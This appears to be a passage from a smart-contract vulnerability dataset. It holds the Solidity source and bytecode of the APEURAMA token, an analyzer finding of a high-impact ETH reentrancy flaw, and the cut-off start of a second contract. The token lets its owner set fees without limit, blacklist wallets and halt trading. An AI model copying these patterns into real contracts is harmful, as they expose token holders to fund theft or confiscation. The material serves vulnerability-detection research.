uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract APEURAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "APEURAMA";
string private constant _symbol = "APEURAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x072090eaa0327887A0f819049A444ce039793680);
address payable private _marketingAddress = payable(0x072090eaa0327887A0f819049A444ce039793680);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b5060408051808201825260088152674150455552414d4160c01b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9e952c57e57bda01ce23cb87f98c5168b0c4f41d2ae99377ec658a890f8387a64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 843 |
0x8d3bfa2a1a3f8be1c15fc0556d894d378fe7b30b |
pragma solidity >=0.7.5;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
